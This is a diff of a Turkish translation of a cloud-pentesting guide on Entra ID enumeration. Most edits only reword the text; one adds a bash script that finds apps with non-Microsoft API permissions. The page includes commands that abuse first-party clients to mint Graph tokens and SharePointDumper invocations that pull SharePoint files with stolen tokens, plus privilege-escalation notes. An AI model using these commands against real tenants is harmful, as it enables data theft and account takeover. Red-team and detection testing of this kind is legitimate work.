-Herkese MFA eklemek şiddetle tavsiye edilir; ancak bazı şirketler bunu ayarlamayabilir veya Conditional Access ile yapılandırabilir: Kullanıcı belirli bir konumdan, tarayıcıdan veya **bazı bir koşul** nedeniyle giriş yaparsa **MFA gerekli ise**. Bu politikalar doğru yapılandırılmamışsa **bypasses**'a açık olabilir. Bakınız:
+Her kullanıcıya MFA eklemek şiddetle tavsiye edilir; ancak bazı şirketler bunu ayarlamayabilir veya Conditional Access ile yapılandırabilir: Kullanıcı belirli bir konumdan, tarayıcıdan veya **bazı bir koşul** nedeniyle oturum açarsa **MFA gerekli olacaktır**. Bu politikalar doğru yapılandırılmamışsa **bypasses**'a karşı savunmasız olabilir. İnceleyin:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
-### Gruplar
+### Groups
-Entra ID grupları hakkında daha fazla bilgi için bakınız:
+Entra ID grupları hakkında daha fazla bilgi için bakın:
{{#ref}}
../az-basic-information/
@@ -481,23 +481,23 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }}
{{#endtabs }}
-#### Kullanıcıyı gruba ekle
+#### Gruba kullanıcı ekleme
Grubun sahipleri gruba yeni kullanıcılar ekleyebilir.
```bash
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
-> Gruplar dinamik olabilir; bu temel olarak **bir kullanıcı belirli koşulları sağlarsa bir gruba ekleneceği** anlamına gelir. Elbette, koşullar **kullanıcının kontrol edebileceği özelliklere** dayanıyorsa, kullanıcı bu özelliği **diğer gruplara girmek** için kötüye kullanabilir.\
+> Gruplar dinamik olabilir; bu temel olarak **bir kullanıcı belirli koşulları sağlarsa bir gruba ekleneceği** anlamına gelir. Elbette, koşullar **kullanıcının kontrol edebileceği özniteliklere** dayanıyorsa, bu özelliği **başka gruplara girmek için** kötüye kullanabilir.\
> Dinamik grupların nasıl kötüye kullanılacağını aşağıdaki sayfada inceleyin:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}
-### Service Principals
+### Servis Principal'leri
-Entra ID service principals hakkında daha fazla bilgi için şu sayfaya bakın:
+Entra ID servis principal'leri hakkında daha fazla bilgi için bakınız:
{{#ref}}
../az-basic-information/
@@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
-> A Service Principal'ın Owner'ı parolasını değiştirebilir.
+> Service Principal'ın Owner'ı şifresini değiştirebilir.
-Her Enterprise App için client secret'ı listele ve eklemeyi dene
+Her Enterprise App'te bir client secret eklemeyi dene ve listele
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -715,10 +715,10 @@ Uygulamalar hakkında daha fazla bilgi için bakınız:
../az-basic-information/
{{#endref}}
-Bir uygulama oluşturulduğunda 2 tür izin verilir:
+Bir Uygulama oluşturulduğunda 2 tür izin verilir:
- **İzinler** **Service Principal**'e verilen
-- **İzinler** **uygulamanın** **kullanıcı adına** sahip olabileceği ve kullanabileceği
+- **İzinler** **uygulama**nın **kullanıcı adına** sahip olabileceği ve kullanabileceği.
{{#tabs }}
{{#tab name="az cli" }}
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
+
+Microsoft dışı API'lere API izinleri olan tüm uygulamaları bulun (az cli)
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Known Microsoft first-party owner organization IDs.
+MICROSOFT_OWNER_ORG_IDS=(
+"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
+"72f988bf-86f1-41af-91ab-2d7cd011db47"
+)
+
+is_microsoft_owner() {
+local owner="$1"
+local id
+for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
+if [ "$owner" = "$id" ]; then
+return 0
+fi
+done
+return 1
+}
+
+command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
+command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
+az account show >/dev/null
+
+apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
+
+tmp_map="$(mktemp)"
+tmp_ids="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+
+# Build unique resourceAppId values used by applications.
+jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
+
+# Resolve resourceAppId -> owner organization + API display name.
+while IFS= read -r rid; do
+[ -n "$rid" ] || continue
+sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
+owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
+name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
+printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
+done < "$tmp_ids"
+
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+
+# Print only app permissions where the target API is NOT Microsoft-owned.
+while IFS= read -r row; do
+app_name="$(jq -r '.[0]' <<<"$row")"
+app_id="$(jq -r '.[1]' <<<"$row")"
+
+while IFS= read -r rra; do
+resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
+map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
+owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
+resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
+
+[ -n "$owner_org" ] || owner_org="UNKNOWN"
+[ -n "$resource_name" ] || resource_name="UNKNOWN"
+
+if is_microsoft_owner "$owner_org"; then
+continue
+fi
+
+while IFS= read -r access; do
+perm_type="$(jq -r '.type' <<<"$access")"
+perm_id="$(jq -r '.id' <<<"$access")"
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+done < <(jq -c '.resourceAccess[]' <<<"$rra")
+done < <(jq -c '.[2][]' <<<"$row")
+done < <(jq -c '.[]' <<<"$apps_json")
+```
+
+
{{#endtab }}
{{#tab name="Az" }}
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
-> Bir uygulama **`AppRoleAssignment.ReadWrite`** iznine sahipse kendisine rol vererek **Global Admin'e yükseltebilir**.\
-> Daha fazla bilgi için [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
+> **`AppRoleAssignment.ReadWrite`** iznine sahip bir uygulama, kendisine bu rolü vererek **Global Admin**'e yükseltilebilir.\
+> Daha fazla bilgi için [**buraya bakın**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
-> Uygulamanın token isterken kimliğini kanıtlamak için kullandığı gizli dize uygulama parolasıdır.\
-> Yani, eğer bu **parolayı** bulursanız **service principal** olarak **tenant** içinde erişim sağlayabilirsiniz.\
-> Bu parolanın yalnızca oluşturulduğu anda görülebildiğini unutmayın (değiştirebilirsiniz ama tekrar elde edemezsiniz).\
-> **Uygulamanın** **sahibi** uygulamaya **bir parola ekleyebilir** (böylece onu taklit edebilir).\
-> Bu service principal'larla yapılan oturum açmaları **riskli olarak işaretlenmez** ve bunlarda **MFA** olmaz.
+> Uygulamanın token isterken kimliğini kanıtlamak için kullandığı gizli dize uygulama **password**'udur.\
+> Yani, bu **password**'u bulursanız **tenant** içinde **service principal** olarak erişim sağlayabilirsiniz.\
+> Bu password yalnızca oluşturulurken görünür (değiştirebilirsiniz ama tekrar elde edemezsiniz).\
+> **application**'ın **owner**'ı ona **add a password** ekleyebilir (böylece onu taklit edebilir).\
+> Bu service principal girişleri **not marked as risky** olarak işaretlenmez ve **won't have MFA.**
-Microsoft'a ait yaygın kullanılan App ID'lerin bir listesini şu adreste bulmak mümkündür: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
+Microsoft'a ait yaygın kullanılan App ID'lerin bir listesini şu adreste bulabilirsiniz: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
-Daha fazla bilgi için Managed Identities bakınız:
+Managed Identities hakkında daha fazla bilgi için bakınız:
{{#ref}}
../az-basic-information/
@@ -939,7 +1014,7 @@ Headers = @{
### Entra ID Rolleri
-Azure roller hakkında daha fazla bilgi için bakınız:
+Azure rolleri hakkında daha fazla bilgi için bakınız:
{{#ref}}
../az-basic-information/
@@ -1060,12 +1135,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
-> Eğer bir cihaz (VM) **AzureAD joined** ise, AzureAD'den kullanıcılar **giriş yapabilecekler**.\
+> Eğer bir cihaz (VM) **AzureAD joined** ise, AzureAD kullanıcıları **giriş yapabilecek**.\
> Ayrıca, oturum açan kullanıcı cihazın **Owner**'ı ise, **local admin** olacak.
### Yönetim Birimleri
-Yönetim birimleri hakkında daha fazla bilgi için bakınız:
+Yönetim birimleri hakkında daha fazla bilgi için bakın:
{{#ref}}
../az-basic-information/
@@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
-Sahip oldukları **delegated Microsoft Graph token** içinde **`Sites.Read.All`** veya **`Sites.ReadWrite.All`** bulunan saldırganlar, Graph üzerinden **sites/drives/items** öğelerini listeleyebilir ve ardından erişim belirteci içeren zaman sınırlı **SharePoint pre-authentication download URLs** aracılığıyla **dosya içeriklerini çekebilirler**. The [SharePointDumper](https://github.com/zh54321/SharePointDumper) scripti tüm akışı (enumeration → pre-auth downloads) otomatikleştirir ve tespit testleri için isteğe göre telemetri üretir.
+Elde ettikleri **delegated Microsoft Graph token** içinde **`Sites.Read.All`** veya **`Sites.ReadWrite.All`** bulunan saldırganlar, Graph üzerinden **sites/drives/items**'ı listeleyebilir ve ardından **SharePoint pre-authentication download URLs** aracılığıyla dosya içeriklerini çekebilirler (zaman sınırlı, access token içeren URL'ler). [SharePointDumper](https://github.com/zh54321/SharePointDumper) scripti tam akışı (enumeration → pre-auth downloads) otomatikleştirir ve tespit testleri için istek başına telemetri üretir.
### Obtaining usable delegated tokens
- SharePointDumper kendisi **kimlik doğrulaması yapmaz**; bir access token sağlayın (isteğe bağlı olarak refresh token).
-- Önceden onaylanmış **first-party clients**, bir uygulama kaydetmeden Graph token mintlemek için kötüye kullanılabilir. Örnek `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) çağrıları:
+- Ön onaylı **first-party clients** bir uygulama kaydetmeden bir Graph token mint etmek için kötüye kullanılabilir. Örnek `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) çağrıları:
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1120,32 +1195,32 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
-> FOCI TRUE istemcileri cihazlar arasında refresh'ı destekler; FOCI FALSE istemciler genellikle `-Origin` gerektirir, reply URL origin doğrulamasını karşılamak için.
+> FOCI TRUE istemcileri cihazlar arasında refresh desteği sağlar; FOCI FALSE istemcileri genellikle reply URL origin doğrulamasını karşılamak için `-Origin` gerektirir.
### SharePointDumper'ı enumeration + exfiltration için çalıştırma
-- Temel dump custom UA / proxy / throttling ile:
+- Temel dump, custom UA / proxy / throttling ile:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
-- Kapsam kontrolü: siteleri veya uzantıları dahil/ hariç etme ve genel limitler:
+- Kapsam kontrolü: site veya uzantıları dahil/hariç tutma ve küresel sınırlar:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
-- **Kesintiye uğramış çalışmaları sürdür** (yeniden listeler ancak indirilen öğeleri atlar):
+- **Sürdür** kesintiye uğramış çalıştırmaları (yeniden listeler ama indirilen öğeleri atlar):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
-- **Otomatik token refresh HTTP 401'de** (gerektirir EntraTokenAid yüklü):
+- **Otomatik token refresh HTTP 401 durumunda** (EntraTokenAid yüklü olmasını gerektirir):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
-Operasyonel notlar:
+Operational notları:
-- Çalışma sırasında süresinin dolmasını önlemek için CAE-enabled tokenları tercih eder; yenileme denemeleri aracın API kayıtlarında loglanmaz.
-- Graph + SharePoint için CSV/JSON istek kayıtları üretir ve gömülü SharePoint indirme tokenlerini varsayılan olarak maskeler (açılıp kapatılabilir).
-- Özelleştirilmiş User-Agent, HTTP proxy, isteğe özel gecikme + jitter ve Ctrl+C ile güvenli kapanış desteği sunar; tespit/IR testleri sırasında trafik şekillendirme için.
+- Tercih olarak **CAE-enabled** token'ları kullanır; çalışma sırasında süresi dolmayı önlemek için; yenileme denemeleri aracın API kaydında **kaydedilmez**.
+- **Graph + SharePoint** için **CSV/JSON request logları** üretir ve gömülü SharePoint indirme token'larını varsayılan olarak kırpar (değiştirilebilir).
+- Özelleştirilmiş **User-Agent**, **HTTP proxy**, **istek-başı gecikme + jitter** ve tespit/IR testleri sırasında trafik şekillendirme için **Ctrl+C-safe shutdown** destekler.
## Entra ID Privilege Escalation
@@ -1159,29 +1234,29 @@ Operasyonel notlar:
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
-## Savunma Mekanizmaları
+## Defensive Mechanisms
### Privileged Identity Management (PIM)
-Privileged Identity Management (PIM), Azure'da kullanıcıların gereksiz yere aşırı ayrıcalıklara sahip olmasını engellemeye yardımcı olur.
+Privileged Identity Management (PIM) Azure'da kullanıcılara gereksiz yere aşırı ayrıcalıklar atanmasını **önlemeye** yardımcı olur.
-PIM'in sağladığı ana özelliklerden biri, sürekli etkin olan principal'lara roller atamak yerine bunları belirli bir süre için (ör. 6 ay) uygun (eligible) hale getirmeye izin vermesidir. Kullanıcı o rolü aktifleştirmek istediğinde, ayrıcalığa ihtiyaç duyduğu süreyi (ör. 3 saat) belirterek talepte bulunur. Ardından bir admin isteği onaylamalıdır.\
-Kullanıcı ayrıca süreyi uzatma talebinde bulunabilir.
+PIM'in sunduğu ana özelliklerden biri, rolleri sürekli aktif olan principal'lara atamak yerine, bunları **belirli bir süre için (ör. 6 ay)** "eligible" yapabilmektir. Kullanıcı o rolü etkinleştirmek istediğinde, ihtiyacı olan süreyi belirtmek zorundadır (ör. 3 saat). Ardından bir **admin isteği onaylamalıdır**.\
+Kullanıcının süreyi **uzatma** talebinde bulunabileceğini unutmayın.
-Ayrıca, PIM ayrıcalıklı bir rol birisine atandığında e-posta gönderir.
+Ayrıca, **PIM e-postalar gönderir** bir ayrıcalıklı rol birine atandığında.
-PIM etkinleştirildiğinde, her rolü aşağıdaki gereksinimlerle yapılandırmak mümkündür:
+PIM etkinleştirildiğinde, her rol için şu tür gereksinimler yapılandırılabilir:
- Aktivasyonun maksimum süresi (saat)
-- Aktivasyon sırasında MFA gerektir
-- Aktivasyon için Conditional Access authentication context gerektir
-- Aktivasyon için gerekçe gerektir
-- Aktivasyon sırasında bilet bilgisi gerektir
-- Aktive etmek için onay gerektir
-- Uygun atamaların sona erme süresi için maksimum zaman
-- Bu rol ile belirli eylemler gerçekleştiğinde ne zaman ve kime bildirim gönderileceğine dair çok daha fazla yapılandırma
+- Aktivasyonda MFA gereksinimi
+- Conditional Access authentication context gereksinimi
+- Aktivasyonda gerekçe gereksinimi
+- Aktivasyonda ticket bilgisi gereksinimi
+- Aktive etmek için onay gereksinimi
+- eligible atamaların sona ermesi için azami süre
+- Bu rol ile belirli eylemler gerçekleştiğinde kime/ne zaman bildirim gönderileceğine dair daha fazla yapılandırma
### Conditional Access Policies
@@ -1193,27 +1268,27 @@ Check:
### Entra Identity Protection
-Entra Identity Protection, bir kullanıcının veya oturum açmanın kabul edilemeyecek kadar riskli olduğunun tespit edilmesine ve kullanıcıyı veya oturum açma girişimini engellemeye olanak tanıyan bir güvenlik hizmetidir.
+Entra Identity Protection, bir kullanıcının veya oturum açma denemesinin kabul edilmesi için **çok riskli olup olmadığını tespit etmeye** yarayan bir güvenlik servisidir; gerektiğinde kullanıcıyı veya oturum açma girişimini **engellemeye** olanak tanır.
-Yönetici, riske göre girişimleri "Low and above", "Medium and above" veya "High" olduğunda engelleyecek şekilde yapılandırabilir. Ancak varsayılan olarak tamamen devre dışıdır:
+Yönetici, riski "Low and above", "Medium and above" veya "High" olduğunda denemeleri **engelleyecek** şekilde yapılandırabilir. Ancak varsayılan olarak tamamen **devre dışı**dır:
> [!TIP]
-> Günümüzde, bu kısıtlamaların aynı seçeneklerin yapılandırılabildiği Conditional Access politikaları aracılığıyla eklenmesi önerilmektedir.
+> Günümüzde mümkün olan yerlerde aynı seçenekleri yapılandırabileceğiniz Conditional Access politikaları aracılığıyla bu kısıtlamaları eklemek önerilir.
### Entra Password Protection
-Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) zayıf parolaların kötüye kullanılmasını önlemeye yardımcı olan; birkaç başarısız oturum açma girişimi olduğunda hesapları kilitleyen bir güvenlik özelliğidir.\
-Ayrıca sağlamanız gereken özel bir parola listesini yasaklamaya izin verir.
+Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) zayıf parolaların kötüye kullanımını **önlemeye yardımcı olan** bir güvenlik özelliğidir; birden fazla başarısız oturum açma denemesi olduğunda hesapları kilitleyebilir.\
+Ayrıca sağlamanız gereken özel bir parola listesini **yasaklama** imkanı sunar.
-Hem bulut düzeyinde hem de kurum içi Active Directory'de uygulanabilir.
+Hem bulut seviyesinde hem de on-premises Active Directory üzerinde **uygulanabilir**.
-Varsayılan mod Audit'tir:
+Varsayılan mod **Audit**'dir:
-## Referanslar
+## References
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)